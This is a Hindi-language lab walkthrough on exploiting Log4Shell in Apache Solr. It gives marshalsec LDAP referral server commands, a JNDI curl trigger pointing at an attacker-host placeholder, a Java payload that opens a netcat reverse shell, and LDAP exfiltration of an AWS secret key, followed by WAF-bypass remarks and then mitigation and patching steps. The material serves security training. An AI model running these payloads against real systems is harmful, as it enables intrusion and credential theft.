लॉग4शेल (CVE-2021-44228) का शोषण करने के लिए व्यावहारिक प्रयोगशाला अभ्यास, जिसमें JNDI इंजेक्शन, LDAP रेफरल सर्वर और रिवर्स शेल पेलोड शामिल हैं। इसमें पहचान, बायपास तकनीक और पोस्ट-एक्सप्लॉइटेशन मार्गदर्शन शामिल है।
Log4j भेद्यता, जिसे "Log4Shell" या "CVE-2021-44228" के नाम से भी जाना जाता है, Apache Log4j लाइब्रेरी में एक गंभीर सुरक्षा दोष है। Log4j एक व्यापक रूप से उपयोग किया जाने वाला जावा-आधारित लॉगिंग फ्रेमवर्क है जो डेवलपर्स को फ़ाइलों, डेटाबेस और कंसोल आउटपुट जैसे विभिन्न गंतव्यों पर एप्लिकेशन से संदेश लॉग करने की अनुमति देता है।
यह भेद्यता दिसंबर 2021 में खोजी गई थी और इसकी गंभीरता और शोषण की संभावना के कारण इसने काफी ध्यान आकर्षित किया है। यह Log4j संस्करण 2.x को प्रभावित करता है, और कुछ मामलों में, पिछले संस्करणों को भी। Log4j भेद्यता एक रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है, जिसका अर्थ है कि एक हमलावर इस दोष का शोषण करके लक्षित सिस्टम पर मनमाना कोड निष्पादित कर सकता है। यह भेद्यता Log4j लाइब्रेरी में एक डिज़ाइन दोष के कारण होती है जो विशेष रूप से तैयार किए गए डेटा वाले लॉग संदेशों के प्रसंस्करण से संबंधित है।
भेद्यता का शोषण लॉग संदेश में दुर्भावनापूर्ण कोड इंजेक्ट करने की क्षमता पर निर्भर करता है। यह विभिन्न वैक्टरों के माध्यम से प्राप्त किया जा सकता है, जैसे कि उपयोगकर्ता-नियंत्रित इनपुट फ़ील्ड, HTTP अनुरोध हेडर, या अन्य उपयोगकर्ता-प्रदत्त डेटा जो लॉग स्टेटमेंट को पास किया जाता है।
जब कोई कमजोर एप्लिकेशन विशेष रूप से तैयार किए गए डेटा वाले लॉग संदेश को संसाधित करता है, तो Log4j डेटा को जावा नेमिंग एंड डायरेक्टरी इंटरफ़ेस (JNDI) लुकअप के रूप में व्याख्या करता है। इस व्यवहार का शोषण करके, एक हमलावर एक पेलोड तैयार कर सकता है जो हमलावर द्वारा नियंत्रित एक दुर्भावनापूर्ण सर्वर पर JNDI लुकअप को ट्रिगर करता है। यह सर्वर तब एक पेलोड के साथ प्रतिक्रिया दे सकता है जो लक्षित सिस्टम पर निष्पादित होता है, जिससे हमलावर को रिमोट कोड निष्पादन प्राप्त करने की अनुमति मिलती है।
Log4j भेद्यता का प्रभाव गंभीर है क्योंकि Log4j का व्यापक रूप से विभिन्न जावा-आधारित एप्लिकेशनों में उपयोग किया जाता है, जिसमें वेब सर्वर, एप्लिकेशन और क्लाउड सेवाएँ शामिल हैं। यह भेद्यता हमलावरों को प्रभावित सिस्टम तक अनधिकृत पहुंच प्राप्त करने की अनुमति देती है, जिससे संभावित रूप से डेटा उल्लंघन, सिस्टम से समझौता और समझौता किए गए वातावरण का आगे शोषण हो सकता है।
आज, log4j संस्करण 2.16.0 उपलब्ध है और इस भेद्यता को पैच करता है (JNDI पूरी तरह से अक्षम है, मैसेज लुकअप का समर्थन हटा दिया गया है, और नया DoS भेद्यता CVE-2021-45046 मौजूद नहीं है)। (https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0)
हालांकि, इस भेद्यता का असली खतरा इस तथ्य के कारण है कि लॉगिंग पैकेज कितना सर्वव्यापी है। लाखों एप्लिकेशन और सॉफ्टवेयर प्रदाता अपने स्वयं के कोड में निर्भरता के रूप में इस पैकेज का उपयोग करते हैं। जबकि आप log4j का उपयोग करके अपने स्वयं के कोडबेस को पैच करने में सक्षम हो सकते हैं, अन्य विक्रेताओं और निर्माताओं को अभी भी अपने स्वयं के सुरक्षा अपडेट को डाउनस्ट्रीम धकेलने की आवश्यकता होगी। कई सुरक्षा शोधकर्ताओं ने इस भेद्यता की तुलना इसके विशाल हमले की सतह की प्रकृति के कारण शेलशॉक से की है। हम इस भेद्यता को आने वाले वर्षों तक देखेंगे।
CVE-2021-44228 के लिए कमजोर सॉफ्टवेयर और सेवाओं की एक बढ़ती सामुदायिक-समर्थित सूची के लिए, इस GitHub रिपॉजिटरी (https://github.com/YfryTchsGD/Log4jAttackSurface) को देखें।
जबकि CVE-2021-44228 के आसपास कई अन्य लेख, ब्लॉग, संसाधन और सीखने की सामग्री हैं, मैं (इस अभ्यास के लेखक) विशेष रूप से इन्हें पसंद करता हूँ:
log4j पैकेज प्रविष्टियों को "पार्स" करके लॉग में अतिरिक्त तर्क जोड़ता है, अंततः डेटा को समृद्ध करने के लिए -- लेकिन यह अतिरिक्त कार्रवाई भी कर सकता है और यहां तक कि प्रविष्टि डेटा के आधार पर कोड का मूल्यांकन भी कर सकता है। यह CVE-2021-44228 का सार है। अन्य सिंटैक्स वास्तव में लॉग फ़ाइलों में दर्ज होते ही निष्पादित हो सकते हैं। इस सिंटैक्स के कुछ उदाहरण इस प्रकार हैं:
आप शायद पहले से ही इस log4j भेद्यता का दुरुपयोग करने के लिए सामान्य पेलोड जानते हैं। इसका लाभ उठाने वाले सामान्य सिंटैक्स का प्रारूप इस प्रकार दिखता है:
यह सिंटैक्स इंगित करता है कि log4j "JNDI", या "जावा नेमिंग एंड डायरेक्टरी इंटरफ़ेस" से कार्यक्षमता लागू करेगा। अंततः, इसका उपयोग बाहरी संसाधनों, या "संदर्भों" तक पहुंचने के लिए किया जा सकता है, जो इस हमले में हथियार बनाया गया है।
"ldap://" स्कीमा पर ध्यान दें। यह इंगित करता है कि लक्ष्य LDAP प्रोटोकॉल के माध्यम से एक एंडपॉइंट (इस हमले के मामले में, एक हमलावर-नियंत्रित स्थान) तक पहुंचेगा। संक्षिप्तता के लिए, हमें यहां LDAP के सभी अंदर-बाहर और विवरणों को कवर करने की आवश्यकता नहीं होगी, लेकिन जान लें कि जैसे-जैसे हम अपने हमले को परिष्कृत करेंगे, हमें इसके साथ काम करना होगा। अभी के लिए, जान लें कि लक्ष्य वास्तव में एक बाहरी स्थान से कनेक्शन बनाएगा। यह उपरोक्त सिंटैक्स में ATTACKERCONTROLLEDHOST प्लेसहोल्डर द्वारा इंगित किया गया है। आप, इस परिदृश्य में हमलावर के रूप में कार्य करते हुए, इस कनेक्शन को देखने के लिए एक सरल लिसनर होस्ट कर सकते हैं।
अगला प्रश्न यह है कि हम इस सिंटैक्स को कहाँ दर्ज कर सकते हैं? कहीं भी जहां डेटा एप्लिकेशन द्वारा लॉग किया जाता है।
यह इस भेद्यता का मूल बिंदु है। दुर्भाग्य से, विभिन्न अनुप्रयोगों के लिए हमले की सतह निर्धारित करना बहुत कठिन है, और इसलिए, यह निर्धारित करना भी कठिन है कि कौन से एप्लिकेशन वास्तव में कमजोर हैं। केवल log4j फ़ाइलों की उपस्थिति देखने से सटीक संस्करण संख्या का पता नहीं चलता है, या यह भी पता नहीं चलता है कि एप्लिकेशन पैकेज का उपयोग कहाँ या कैसे कर सकता है।
अन्य स्थान जहां आप यह JNDI सिंटैक्स प्रदान कर सकते हैं:
यदि आप इस JNDI हमले वेक्टर के बारे में अधिक जानकारी चाहते हैं, तो कृपया 2016 से इस Black Hat USA प्रस्तुति की समीक्षा करें। https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
POC
शोषण इस बिंदु पर, आपने अपने netcat लिसनर में इस कनेक्शन को देखकर सत्यापित कर लिया है कि लक्ष्य वास्तव में कमजोर है। हालांकि, इसने एक LDAP अनुरोध किया... इसलिए आपके netcat लिसनर ने जो कुछ देखा होगा, वह गैर-मुद्रण योग्य वर्ण (अजीब दिखने वाले बाइट्स) हो सकते हैं। अब हम एक वास्तविक LDAP हैंडलर के साथ प्रतिक्रिया देने के लिए इस नींव पर निर्माण कर सकते हैं।
हम एक "LDAP रेफरल सर्वर" को मंचित करने के लिए एक ओपन-सोर्स और सार्वजनिक उपयोगिता का उपयोग करेंगे। इसका उपयोग पीड़ित के प्रारंभिक अनुरोध को दूसरे स्थान पर रीडायरेक्ट करने के लिए किया जाएगा, जहां आप एक द्वितीयक पेलोड होस्ट कर सकते हैं जो अंततः लक्ष्य पर कोड चलाएगा। यह इस प्रकार टूटता है:
इसका मतलब है कि हमें एक HTTP सर्वर की आवश्यकता होगी, जिसे हम निम्नलिखित विकल्पों में से किसी के साथ आसानी से होस्ट कर सकते हैं (पोर्ट 8000 पर सेवा):
हालांकि, पहला काम LDAP रेफरल सर्वर प्राप्त करना है। हम https://github.com/mbechler/marshalsec पर दी गई marshalsec उपयोगिता का उपयोग करेंगे।
अंततः, इसे जावा चलाने की आवश्यकता है। इस उपयोगिता के README की समीक्षा करने पर, यह जावा 8 का उपयोग करने का सुझाव देता है। (एक अलग संस्करण का उपयोग करने पर आपको सफलता मिल भी सकती है और नहीं भी, लेकिन "नियमों के अनुसार खेलने" के लिए, हम लक्ष्य मशीन पर उपयोग किए जाने वाले जावा के समान संस्करण का मिलान करेंगे)।
जावा 8 को स्थानीय रूप से स्थापित करने के चरण देखें:
अपने सिस्टम को डिफ़ॉल्ट रूप से इस जावा संस्करण का उपयोग करने के लिए कॉन्फ़िगर करने के लिए निम्नलिखित कमांड चलाएँ (डाउनलोड फ़ाइल सिस्टम पथ को उचित रूप से समायोजित करें): कमांड: sudo mkdir /usr/lib/jvm cd /usr/lib/jvm sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz # आवश्यकतानुसार संस्करण संशोधित करें sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1 sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws
ऊपर दिए गए उपयुक्त फ़ाइल सिस्टम सेटिंग्स (update-alternatives सिंटैक्स) को डाउनलोड, निकालने और सेट करने के बाद, आपको "java -version" चलाने में सक्षम होना चाहिए और सत्यापित करना चाहिए कि आप वास्तव में अब जावा 1.8.0_181 चला रहे हैं।
क्लोन (https://github.com/mbechler/marshalsec) करें और इस नए फ़ोल्डर "marshalsec" में निर्देशिकाएँ बदलें।
हमें जावा बिल्डर maven के साथ marshalsec बनाना होगा। यदि आपके सिस्टम पर अभी तक maven नहीं है, तो आप इसे अपने पैकेज मैनेजर के माध्यम से स्थापित कर सकते हैं: कमांड: sudo apt install maven
इसके बाद, marshalsec उपयोगिता बनाने के लिए कमांड चलाएँ: कमांड: mvn clean package -DskipTests
marshalsec उपयोगिता के निर्माण के साथ, हम एक LDAP रेफरल सर्वर शुरू कर सकते हैं जो कनेक्शन को हमारे द्वितीयक HTTP सर्वर (जिसे हम अभी तैयार करेंगे) पर निर्देशित करेगा। आप इस टूल के साथ कॉन्फ़िगर किए जा सकने वाले उपयोग, पैरामीटर और अन्य सेटिंग्स में खुदाई करने के लिए आपका स्वागत है -- लेकिन प्रदर्शन के उद्देश्य से, LDAP सर्वर शुरू करने का सिंटैक्स इस प्रकार है: user@host:~/marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit" # आवश्यकतानुसार अपनी हमलावर मशीन के IP पते को समायोजित करें। ध्यान दें कि हम HTTP पोर्ट 8000 पर सुन रहे होंगे।
अब जब हमारा LDAP सर्वर तैयार और प्रतीक्षारत है, तो हम अपने अंतिम पेलोड और द्वितीयक HTTP सर्वर को तैयार करने के लिए एक दूसरा टर्मिनल विंडो खोल सकते हैं।
अंततः, log4j भेद्यता मनमाना कोड निष्पादित करेगी जिसे आप जावा प्रोग्रामिंग भाषा के भीतर तैयार करते हैं। यदि आप जावा से परिचित नहीं हैं, तो चिंता न करें -- हम सरल सिंटैक्स का उपयोग करेंगे जो केवल एक सिस्टम कमांड चलाने के लिए "शेल आउट" करता है। वास्तव में, हम एक रिवर्स-शेल कनेक्शन प्राप्त करेंगे ताकि हम लक्ष्य मशीन पर नियंत्रण प्राप्त कर सकें! एक नई निर्देशिका बनाएँ और उसमें जाएँ जहाँ आप इस पेलोड को होस्ट कर सकते हैं। पहले, अपनी पसंद के टेक्स्ट एडिटर (mousepad, nano, vim, Sublime Text, VS Code, जो भी) में अपना पेलोड बनाएँ, विशिष्ट नाम "Exploit.java" के साथ (इस रिपॉजिटरी में प्रदान किया गया)। अपने हमलावर IP पते और पोर्ट नंबर को उचित रूप से संशोधित करें।
इस पेलोड के लिए, आप देख सकते हैं कि हम लक्ष्य पर एक कमांड निष्पादित करेंगे, विशेष रूप से nc -e /bin/bash हमारी हमलावर मशीन को वापस कॉल करने के लिए, हालांकि आप अन्य पेलोड के साथ प्रयोग करने के लिए आपका स्वागत है।
"javac Exploit.java" के साथ अपने पेलोड को संकलित करें और "ls" कमांड चलाकर और नवनिर्मित "Exploit.class" ढूंढकर सत्यापित करें कि यह सफल हुआ। अपने पेलोड के निर्माण और संकलन के साथ, आप एक अस्थायी HTTP सर्वर स्पिन करके इसे होस्ट कर सकते हैं। user@host:~/ python3 -m http.server
आपका पेलोड बनाया और संकलित किया गया है, यह एक HTTP सर्वर के साथ एक टर्मिनल में होस्ट किया गया है, आपका LDAP रेफरल सर्वर दूसरे टर्मिनल में तैयार और प्रतीक्षारत है -- इसके बाद एक नए टर्मिनल विंडो में अपने रिवर्स शेल को पकड़ने के लिए एक netcat लिसनर तैयार करें: user@host$ nc -lnvp 9999
अंत में, केवल एक काम बचा है कि एक्सप्लॉइट को ट्रिगर करें और अपने JNDI सिंटैक्स को फायर करें! पोर्ट नंबर (अब हमारे LDAP सर्वर को संदर्भित करता है) और हम जो संसाधन प्राप्त करते हैं, उसमें बदलाव पर ध्यान दें, हमारे एक्सप्लॉइट को निर्दिष्ट करते हुए (अपने हमलावर IP पते को उचित रूप से संशोधित करें): user@host$ curl 'http://10.10.8.231:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'
अब आपने प्रारंभिक पहुंच और कमांड-एंड-कंट्रोल प्राप्त कर लिया है। इस बिंदु पर, एक खतरा अभिनेता वास्तविक रूप से पीड़ित के साथ जो चाहे कर सकता है - चाहे वह विशेषाधिकार वृद्धि हो, डेटा निकासी हो, स्थायित्व स्थापित करना हो, पार्श्व आंदोलन करना हो या कोई अन्य पोस्ट-एक्सप्लॉइटेशन हो - संभावित रूप से क्रिप्टोकरेंसी माइनर, रिमोट एक्सेस ट्रोजन, बीकन और इम्प्लांट या यहां तक कि रैनसमवेयर तैनात कर सकता है।
स्थायित्व अब जब आपने पीड़ित मशीन पर एक रिवर्स शेल कनेक्शन प्राप्त कर लिया है, तो आप अपनी पसंद की कोई भी कार्रवाई जारी रख सकते हैं। इस log4j भेद्यता को बेहतर ढंग से समझने के लिए, आइए स्वयं को "बेहतर पहुंच" प्रदान करें ताकि हम मशीन का पता लगा सकें, प्रभावित लॉग का विश्लेषण कर सकें और भेद्यता को कम भी कर सकें!
यदि आप कमांड टाइप करने में आसानी के लिए "अपने शेल को स्थिर करना" चाहते हैं, तो आप सामान्य अपग्रेड ट्रिक का उपयोग कर सकते हैं (यह मानते हुए कि आप bash शेल में चल रहे हैं। यदि आप zsh के भीतर चल रहे हैं, तो आपको अपने netcat लिसनर को bash उपशेल के भीतर शुरू करना होगा... फिर से शोषण करना काफी आसान होना चाहिए):
अब आपके पास एक स्थिर शेल है, जहाँ आप अपने इनपुट के चारों ओर जाने के लिए सुरक्षित रूप से बाएँ-और-दाएँ तीर कुंजियों का उपयोग कर सकते हैं, कमांड इतिहास पर पुनर्विचार करने के लिए ऊपर-और-नीचे तीर कुंजियाँ, ऑटोकम्प्लीट के लिए Tab और चल रहे प्रोग्राम को रोकने के लिए सुरक्षित रूप से Ctrl+C का उपयोग कर सकते हैं!
पहचान दुर्भाग्य से, CVE-2021-44228 "Log4Shell" के लिए कमजोर एप्लिकेशन ढूँढना कठिन है। शोषण का पता लगाना और भी कठिन हो सकता है, संभावित बाईपास की असीमित मात्रा को देखते हुए।
इसके साथ ही, सूचना सुरक्षा समुदाय ने इस खतरे को बेहतर ढंग से रोकने के लिए टूलिंग, स्क्रिप्ट और कोड विकसित करने के लिए प्रयास और समर्थन का एक अविश्वसनीय उछाल देखा है। आप ऑनलाइन भारी मात्रा में संसाधन पा सकते हैं।
नीचे ऐसे स्निपेट हैं जो किसी भी प्रयास में मदद कर सकते हैं:
एक अनुस्मारक के रूप में, एक विशाल संसाधन यहाँ उपलब्ध है:
बाईपास मैंने जो JNDI पेलोड दिखाया है वह इस हमले को करने के लिए मानक और "विशिष्ट" सिंटैक्स है। यदि आप एक पैठ परीक्षक या रेड टीमर हैं, तो यह सिंटैक्स वेब एप्लिकेशन फ़ायरवॉल (WAFs) द्वारा पकड़ा जा सकता है या आसानी से पहचाना जा सकता है। यदि आप ब्लू टीमर या घटना प्रतिक्रियाकर्ता हैं, तो आपको सक्रिय रूप से उस सिंटैक्स की खोज और पहचान करनी चाहिए।
क्योंकि यह हमला log4j का लाभ उठाता है, पेलोड अंततः उन सभी विस्तार, प्रतिस्थापन और टेम्पलेटिंग ट्रिक्स तक पहुंच सकता है जो पैकेज उपलब्ध कराता है। इसका मतलब है कि एक खतरा अभिनेता पेलोड को छिपाने, मास्क करने या अस्पष्ट करने के लिए किसी भी प्रकार की चाल का उपयोग कर सकता है।
इसे ध्यान में रखते हुए, वास्तव में इस सिंटैक्स में घुसपैठ करने के लिए बाईपास की असीमित संख्या है। जबकि हम इस अभ्यास में विवरण में गोता नहीं लगाएंगे, आपको इस वातावरण में उनके साथ प्रयोग करने के लिए प्रोत्साहित किया जाता है। मूल सिंटैक्स को छिपाने के लिए किन चालों का उपयोग किया जा रहा है, यह समझने के लिए उन्हें ध्यान से पढ़ें।
ऑनलाइन कई संसाधन हैं जो इन बाईपास के कुछ उदाहरण प्रदर्शित करते हैं, नीचे कुछ दिए गए हैं:
अंतिम में rmi:// प्रोटोकॉल के उपयोग पर ध्यान दें। यह एक और मान्य तकनीक है जिसका उपयोग marshalsec उपयोगिता के साथ किया जा सकता है -- प्रयोग करने के लिए स्वतंत्र महसूस करें!
इसके अतिरिक्त, log4j इंजन के भीतर, आप मनमाने पर्यावरण चर का विस्तार कर सकते हैं (यदि यह पहले से ही काफी बुरा नहीं था)। रिमोट कोड निष्पादन के साथ भी होने वाले नुकसान पर विचार करें, लेकिन ${env:AWS_SECRET_ACCESS_KEY} का एक सरल LDAP कनेक्शन और निकासी
अन्य तकनीकों के लिए, आपको दृढ़ता से अपना स्वयं का शोध करने के लिए प्रोत्साहित किया जाता है। इस Reddit थ्रेड में महत्वपूर्ण मात्रा में जानकारी साझा की जा रही है: https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/
शमन अब जब आपने थोड़ी देर के लिए प्रतिद्वंद्वी के रूप में काम किया है, तो कृपया अपनी हैकर टोपी उतारें और भेद्यता को कम करें। Apache Solr वेबसाइट पर सुझाई गई शमन तकनीकों की समीक्षा करें। (https://solr.apache.org/security.html)
एक विकल्प "solr.in.sh" फ़ाइल को विशिष्ट सिंटैक्स के साथ मैन्युअल रूप से संशोधित करना है। आइए इस रक्षात्मक रणनीति को प्रदर्शित करने के उद्देश्य से उस मार्ग पर चलते हैं।
Apache Solr वेबसाइट सुरक्षा पृष्ठ बताता है कि आप solr.in.sh फ़ाइल में यह विशिष्ट सिंटैक्स जोड़ सकते हैं:
SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"
अपनी पसंद के टेक्स्ट एडिटर के साथ solr.in.sh फ़ाइल को संशोधित करें। यदि आप पहले से रूट नहीं हैं तो आपको रूट विशेषाधिकार उधार लेने के लिए sudo उपसर्ग की आवश्यकता होगी। फ़ाइल के नीचे स्क्रॉल करें, और उपरोक्त सिंटैक्स के साथ एक नई पंक्ति जोड़ें। फ़ाइल को सहेजें और बंद करें।
अब जब कॉन्फ़िगरेशन फ़ाइल संशोधित हो गई है, तो परिवर्तन को प्रभावी होने के लिए सेवा को अभी भी पुनरारंभ करने की आवश्यकता है। कमांड: user@host$ sudo /etc/init.d/solr restart
यह सत्यापित करने के लिए कि पैच हुआ है, पहले की तरह एक और netcat लिसनर शुरू करें, और अपने अस्थायी LDAP रेफरल सर्वर और HTTP सर्वर को स्पिन करें (फिर से अलग-अलग टर्मिनलों में)। आप मशीन का फिर से शोषण करने के लिए उसी सेटअप को फिर से बनाना चाहेंगे।
आपको देखना चाहिए कि आपके अस्थायी LDAP सर्वर को कोई अनुरोध नहीं किया गया है, परिणामस्वरूप आपके HTTP सर्वर को कोई अनुरोध नहीं किया गया है, और... आपके netcat लिसनर को कोई रिवर्स शेल वापस नहीं भेजा गया है!
पैचिंग इस अभ्यास को बनाने के समय, Apache Solr 8.11.1 अभी तक CVE-2021-44228 के लिए औपचारिक पैच के साथ जारी नहीं किया गया है। कई अन्य सॉफ्टवेयर प्रदाताओं के साथ, उद्योग अपने सॉफ्टवेयर को पैच करने और इसे जितनी जल्दी हो सके अंतिम उपयोगकर्ताओं तक डाउनस्ट्रीम धकेलने के लिए बेतहाशा प्रयास कर रहा है।
जहाँ उपयुक्त हो, कृपया सुनिश्चित करें कि आप logging-log4j पैकेज को संस्करण 2.16.0 या उच्चतर (जैसे-जैसे नए रिलीज़ उपलब्ध होते हैं) पर पैच करें। संस्करण 2.16.0 में, JNDI पूरी तरह से अक्षम है, मैसेज लुकअप का समर्थन हटा दिया गया है, और नया DoS भेद्यता CVE-2021-45046 मौजूद नहीं है। इस रिलीज़ को यहाँ डाउनलोड करें: https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0यदि आप log4j का उपयोग करने वाली कमजोर सेवाओं की पहचान करने के लिए जिम्मेदार हैं, तो यहाँ कुछ प्रमुख प्रभावित सेवाओं/उत्पादों की सूची है (https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/)।